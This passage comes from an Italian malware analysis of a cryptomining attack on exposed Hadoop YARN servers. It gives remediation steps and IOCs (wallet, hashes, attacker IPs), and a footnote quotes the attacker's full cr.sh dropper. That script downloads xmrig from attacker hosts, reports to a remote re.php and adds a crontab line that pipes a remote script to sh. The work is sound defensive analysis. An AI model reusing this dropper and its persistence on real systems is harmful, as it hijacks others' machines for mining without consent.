  3. Controllare l'elenco delle attività di crontab ed eliminare le anomalie

  1. Analisi dei log di YARN, conferma l'applicazione anomala, eliminazione dell'elaborazione.

Rinforzo di sicurezza

  1. Configurare i criteri di accesso tramite iptables o gruppi di sicurezza per limitare l'accesso a porte come 8088;

  2. se non è necessario, non aprire l'interfaccia nella rete pubblica e modificarla in chiamate locali o intranet;

  3. aggiornare Hadoop alla versione 2.x e abilitare l' autenticazione Kerberos per impedire l'accesso anonimo.

IOC

Indirizzo del portafogli

4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg

MD5

  1. MD5 (xmrig_64) = c8c1f2da51fbd0aea60e11a81236c9dc

  2. MD5 (xmrig_32) = 5110222de7330a371c83af67d46c4242

  3. MD5 (xm64) = 183664ceb9c4d7179d5345249f1ee0c4

  4. MD5 (xm32) = b00f4bbd82d2f5ec7c8152625684f853

  5. MD5 (cr.sh) = 1e8c570de8acc2b7e864447c26c59b32

  6. MD5 (cr.sh) = 48e79f8de26fa56d955a28c2de493132

  7. MD5 (w.conf) = 777b79f6ae692d8047bcdee2c1af0fd6

  8. MD5 (c.conf) = 9431791f1dfe856502dcd58f47ce5829

Indirizzi in ordine di priorità

  1. 185.222.210.59 (risulta essere IP sorgente);

  2. 46.30.43.159 (connessione al pool dell’intruder, procollo stratum+tcp);

  3. 179.60.146.10 (connessione al pool dell’intruder, procollo stratum+tcp);

  4. 95.142.40.83 (download file di data mining);

  5. 95.142.40.81 (download file di data mining);

  6. 46.30.42.162 (download file di data mining);

  7. 192.99.142.248 (connessione ad attività di evasione);

  8. 192.99.142.232 (connessione ad attività di evasione);

  9. 192.99.142.226 (connessione ad attività di evasione);

  10. 85.214.102.143(fingerprint comune con indirizzi soprariportati);

  11. 85.214.125.15 (fingerprint comune con indirizzi soprariportati);

  12. 85.214.60.153 (fingerprint comune con indirizzi soprariportati).

Indirizzi di sospetta appartenenza alle disponibilità dell’intruder


185.154.52.117 (vz230686.eurodir.ru)

185.154.52.161 (piar60.ru)

185.154.52.181 (vz224405.eurodir.ru)

185.154.52.236 (supportt.ru)

185.154.53.108 (vz224405.eurodir.ru)

185.154.53.137 (vz224405.eurodir.ru)

185.154.53.190 (vz228963.eurodir.ru)

185.154.53.249 (vz232259.eurodir.ru)

185.154.53.46 (server.badstudio.ru)

185.154.53.65 (profshinservice.ru)

185.154.53.67 (vz232259.eurodir.ru)

185.154.53.72 (vz231895.eurodir.ru)

46.30.41.182 (vz230501.eurodir.ru)

46.30.41.207 (vz230806.eurodir.ru)

46.30.41.51 (vz225213.eurodir.ru)

46.30.41.80 (track.dev)

46.30.42.162 (server.com)

46.30.43.128 (vz228757.eurodir.ru)

46.30.45.152 (vz230274.eurodir.ru)

46.30.45.30 (shop.engine)

46.30.45.91 (vz220153.eurodir.ru)

46.30.47.115 (vz227413.eurodir.ru)

46.30.47.157 (vz228859.eurodir.ru)

95.142.39.109 (vz228627.eurodir.ru)

95.142.39.151 (donotopen.ru)

95.142.39.164 (vz232259.eurodir.ru)

95.142.39.172 (hosted-by.wikhost.com)

95.142.39.241 (shimshim.info)

95.142.39.251 (vz232259.eurodir.ru)

95.142.40.188 (vz232259.eurodir.ru)

95.142.40.189 (vz232259.eurodir.ru)

95.142.40.190 (vz232259.eurodir.ru)

95.142.40.44 (vz229990.eurodir.ru)

95.142.40.74 (vz232259.eurodir.ru)

95.142.40.81 (vz228855.eurodir.ru)

95.142.40.82 (vz228856.eurodir.ru)

95.142.40.83 (vz228857.eurodir.ru)

95.142.40.86 (kolos1952.ru)

95.142.40.87 (regiister.ru)

95.142.40.88 (buled.ru)

95.142.40.89 (vz229526.eurodir.ru)

95.142.39.233 (vz231616.eurodir.ru)

185.154.53.46 (server.badstudio.ru)

46.30.47.107 (vz227413.eurodir.ru)

46.30.47.21 (vz227411.eurodir.ru)

46.30.47.35 (vz227411.eurodir.ru)

46.30.47.66 (vz227407.eurodir.ru)

46.30.47.82 (vz227413.eurodir.ru)

95.142.39.102 (vz222177.eurodir.ru)

Conclusioni

Per coloro che sono arrivati fino alla fine è doveroso concludere, sottolineando come sono stati utilizzati sistemi operativi standard quali Ubuntu e Windows 7.

L’intero processo è stato replicato anche su Sistemi Operativi come quelli sopra citati con esito positivo e si potrebbe presumere anche dispositivi IoT.

Ritengo che sia molto complicato attualmente interrompere o addirittura accorgersi di una minaccia simile se rivolta agli IoT, dalla scarsa conoscenza dei sistemi di base, alla poca sicurezza degli stessi ma soprattutto agli scarsi sistemi di sicurezza che possiamo verso utilizzare per la gestione degli IoT di uso quotidiano.

Purtroppo non ho effettuato alcun test su nessun IoT, quindi non posso affermare con certezza il corretto funzionamento dell’intero processo descritto.

Vorrei concludere, con una provocazione, sottolineando un ulteriore aspetto riguardante l’uso dei cryptominer. Infatti non si può escludere che il Cyber Crime utilizzi i cryptominer per sovvenzionare campagne malware molto più sofisticate come quelle inerenti gli APT12 anche di origine parastatale, considerando la possibilità di autofinanziarsi con il beneplacito del governo per cui il gruppo “hacker” lavora o con cui ha delle collaborazioni. I fattori relativi al completo anonimato dalle Operazioni nel dominio Cyber, permettono, elevati margini di deception, rendendo tali attività particolarmente remunerative dal punto di vista Intelligence, attraverso la possibilità di gestire agevolmente False Flag Operations e di “indirizzare” la attribuzione verso entità terze estranee alle stesse.

Infine, un’ultima considerazione sulla difficoltà legata alla esecuzione di queste analisi. La difficoltà che i lettori potrebbero aver trovato nel leggere l’analisi è lo specchio della difficoltà nell’eseguirla, se però si vuole giocare con un ruolo non marginale nello scacchiere cyber è fondamentale avere persone preparate e consapevoli, capaci di analizzare e porre in essere i rimedi necessari sui sistemi reali, generalmente molto più complessi di quello da me creato per fini didattici.

    

1 HDFS: con HDFS si intende Hadoop Distributed File System. Si tratta di un File System realizzato con una nuova tecnologia Open Source chesupporta un sistema gerarchico di file e directory che vengono distribuiti sui nodi di storage gestiti da Hadoop. Per approfondire: https://  www.  zerounoweb.it/techtarget/searchdatacenter/hadoop-significa-rendere-piu-economico-il-big-data-management-ecco-come/

2 API REST: Application Programming Interface REpresentational State Transfer. Nel complesso si tratta di indicazioni dello sviluppatore del codice utili per stabilire come devono essere trasmessi dei dati impiegati dall’applicazione.

3 In generale si parla di honey pot quando ci si riferisce a qualcosa creato appositamente per attirare un attaccante, in pratica si tratta di una trappola creata per far si che un attaccante si riveli.

4 Con il termine mining si intende genericamente l’esecuzione di calcoli al fine di creare cryptocurrency attraverso l’esecuzione di calcoli complessi.

5 Un crawler è un software che analizza in modo automatico una rete alla ricerca di vulnerabilità.

6 Uno script non è altro che un file contenente una sequenza di comandi.

7 In particolare, si può vedere chiaramente come si scarica ed esegue uno script chiamato cr.sh dall’indirizzo IP 185.222.210.59 e si utilizza il comando sh & disown, cioè si esegue il processo all'interno dell'istanza di bash corrente del terminale, in background, ma il processo è staccato dall'elenco jobs di bash (cioè il processo non è elencato come un bash job in primo piano/background); pertanto viene utilizzato per cancellare / rimuovere dei jobs o per dire alla shell di non inviare un segnale HUP usare il comando disconoscimento.

8 pkill -f cryptonight

pkill -f sustes

pkill -f xmrig

pkill -f xmr-stak

pkill -f suppoie

#ps ax|grep /tmp/yarn|grep -v grep|xargs kill -9

Questa parte del codice riguarda principalmente il processo di data mining esistente, i documenti da pulire, i processi da terminare, abbiamo però immediatamente un importante indizio, cryptonight (vedremo successivamente).

WGET="wget -O"

if [ -s /usr/bin/curl ];

then

WGET="curl -o";

fi

if [ -s /usr/bin/wget ];

then

WGET="wget -O";

fi

f2="185.222.210.59"

Questa seconda parte, verifica e assegna alcune variabili, determinare se esistono i comandi curl e wget e, in caso affermativo, assegnarli alla variabile WGET, f2 assegna un valore IP.

In effetti, f2 è uno dei server utilizzati per scaricare i file correlati all’attività malevola in corso.

downloadIfNeed()

{

if [ ! -f /tmp/java ]; then

echo "File not found!"

download

fi

if [ -x "$(command -v md5sum)" ]

then

sum=$(md5sum /tmp/java | awk '{ print $1 }')

echo $sum

case $sum in

c8c1f2da51fbd0aea60e11a81236c9dc | 5110222de7330a371c83af67d46c4242)

echo "Java OK"

;;

*)

echo "Java wrong"

sizeBefore=$(du /tmp/java)

if [ -s /usr/bin/curl ];

then

WGET="curl -k -o ";

fi

if [ -s /usr/bin/wget ];

then

WGET="wget --no-check-certificate -O ";

fi

$WGET /tmp/java https://  transfer.sh/ixQBE/zzz

sumAfter=$(md5sum /tmp/java | awk '{ print $1 }')

if [ -s /usr/bin/curl ];

then

echo "redownloaded $sum $sizeBefore after $sumAfter " `du /tmp/java` > /tmp/tmp.txt

curl -F "file=@  /tmp/tmp.txt" http://$f2/re.php

fi

;;

esac

else

echo "No md5sum"

download

fi

}

download() {

f1=$(curl 185.222.210.59/g.php)

if [ -z "$f1" ];

then

f1=$(wget -q -O - 185.222.210.59/g.php)

fi

if [ `getconf LONG_BIT` = "64" ]

then

$WGET /tmp/java http://$f1/xmrig_64

else

$WGET /tmp/java http://$f1/xmrig_32

fi

}

if [ ! "$(ps -fe|grep '/tmp/java -c /tmp/w.conf' |grep -v grep)" ];

then

downloadIfNeed

chmod +x /tmp/java

$WGET /tmp/w.conf http://$f2/w.conf

nohup /tmp/java -c /tmp/w.conf > /dev/null 2>&1 &

sleep 5

rm -rf /tmp/w.conf

else

echo "Running"

fi

if crontab -l | grep -q "185.222.210.59"

then

echo "Cron exists"

else

echo "Cron not found"

LDR="wget -q -O -"

if [ -s /usr/bin/curl ];

then

LDR="curl";

fi

if [ -s /usr/bin/wget ];

then

LDR="wget -q -O -";

fi

(crontab -l 2>/dev/null; echo "*/2 * * * * $LDR http://  185.222.210.59/cr.sh | sh > /dev/null 2>&1")| crontab -

fi

Questa terza parte del codice determina principalmente se /tmp/java è un file che esiste e può essere scritto, quindi determinare se il valore MD5 corrisponde ad uno dei valori MD5 presenti nel codice (vedremmo più avanti l’appartenenza dei due hash file). Nello script, viene assegnata la variabile LDR. Questa variabile viene principalmente utilizzata per scaricare la directory per la memorizzazione di programmi di mining e di altro tipo, tramite i comandi wget o curl, a seconda se presente un comando o l’altro nel sistema ospite. Questa parte del codice è il nucleo centrale del codice, scarica se necessario (con il metodo downloadIfNeed) ed estrae, nella directory /tmp rinominado in java l’eseguibile per il data mining (controllando grazie a getconf LONG_BIT se l’eseguibile deve essere a 32 o 64 bit), scarica il file di configurazione w.conf, aggiunge le autorizzazioni di esecuzione al programma di mining e quindi esegue il comando nohup background mining (nohup è un comando che fa ignorare il segnale SIGHUP, in modo da far permettere la prosecuzione dell'esecuzione anche in caso di una disconnessione dal terminale, o della chiusura dell'emulatore di terminale).

Programmare ed eliminare il file di configurazione, quindi controllare le attività in crontab, se non esiste un'attività corrispondente, scaricherà l'attività per eseguire lo script "*/2 * * * * $LDR http://  185.222.210.59/cr.sh | sh > /dev/null 2>&1" aggiunto ad esso, dove $ LDR è wget -q -O - o curl (citato anche in precedenza), l'attività viene eseguita una volta ogni due minuti (come si evince in figura, riportando le opzioni dei campi che specificano la frequenza dell’esecuzione del comando).

Lo script contiene metodi di download per diverse chiamate annidate. Il metodo di immissione risulta essere downloadIfNeed. Specificando meglio, la funzione principale di questo metodo è verificare MD5 del programma di data mining esistente, se non può essere verificato o il file non esiste, chiamare direttamente il metodo di download (secondo metodo ritrovato nello script) per scaricare il programma di mining Se il file esiste ma MD5 non corrisponde correttamente, chiamare il metodo di download. Dopo aver verificato nuovamente, se la verifica non riesce, provare a scaricare il programma di mining da un altro canale di download https://  transfer.sh/WoGXx/zzz e verificare di nuovo. Infine, i risultati rilevanti sono riportati al re.php del server di destinazione $ f2.

Se esiste, il nome di replica è java.

Il metodo download() giudica che il sistema scarica la versione corrispondente del programma di mining dalla seguente risorsa web: http://  185.222.210.59/g.php.

La risorsa restituisce un altro indirizzo IP per il download dell’eseguibile principale, una volta completato il download, viene nuovamente verificato e la copia viene rinominata in ppc.

pkill -f logo4.jpg

pkill -f logo0.jpg

pkill -f logo9.jpg

crontab -l | sed '/logo4/d' | crontab -

crontab -l | sed '/logo9/d' | crontab -

crontab -l | sed '/logo0/d' | crontab -

Nell'ultima parte dello script ci sono alcuni processi, file, processi di pulizia di crontab, uso di pkill per terminare il processo che soddisfa le condizioni ed eliminare alcune attività in crontab.

9 Open Source Information

10 https://  community.hortonworks.com/questions/189402/why-are-there-drwho-myyarn-applications-running-an.html oppure https://  stackoverflow.com/questions/50520658/its-seem-that-the-yarn-is-infected-by-trojan-even-if-i-reinstall-my-computer

11 Remote Procedure Call, è un meccanismo generale per la gestione di applicazioni client-server.

12 Advanced and Persistent Threath, tipologia di attacchi generalmente portati avanti da organizzazioni di tipo statuale.

(foto: U.S. DoD)